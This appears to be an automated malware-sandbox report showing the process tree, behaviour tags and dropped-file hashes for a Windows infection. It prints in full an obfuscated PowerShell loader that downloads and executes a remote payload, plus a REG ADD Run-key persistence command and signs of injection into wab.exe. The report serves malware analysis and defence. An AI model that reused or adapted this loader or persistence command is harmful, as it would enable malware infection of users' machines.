C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"4⤵
- System Location Discovery: System Language Discovery
PID:4576
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4272 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"6⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:1540
-
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3892
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3272
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2288
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4260
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1900
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1872
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1568
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4592
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2184
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4328
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1716
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4400
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2856
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:264
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2932
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2000
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1040
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5060
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4664
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2044
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1036
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2020
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3236
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2424
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4440
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2488
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:776
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2724
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4316
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4960
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2432
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:492
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1708
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4880
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1836
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:772
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1800
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2920
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3312
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1616
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1396
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3556
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5068
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3020
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3696
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5028
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2096
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3604
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1352
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1212
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4032
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1812
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:3616
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4928
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5084
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4976
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2972
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe5⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:316
-
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3704
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
140B
MD51aae708801be479252d269f85382fa1a
SHA1f81a966aa268750ce518d7caae6ebbef11b858e2
SHA2566c75325ec1cb7a06e2d8e71b52af693700c5c08de6aa000e23048d0a70fe1de2
SHA512915bf86379b834cbcbca472c6446903d1ae2f52895baf48d4f0cbf0d7d8085b6b3f50763f2f08aa9be6d81bd4cd7762f4e69ed2b182f14e93dbaba317cb49fdd
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
440KB
MD5101f0456c78a51dc6621f338fa0590e6
SHA1744017fe918a845dfc161516dab0f86579912507
SHA2563663b6fbf739bde311b85220fc41f266ec6f90cc6445c3ce77f3db94972aeac3
SHA512f56f372d17ee4843b3c68831d66549ccd9d72a4effebac7c53f4dda841d5454f4599f736db890f055604e2b179eab4c43836162567bdd1e63a598a807386a5f0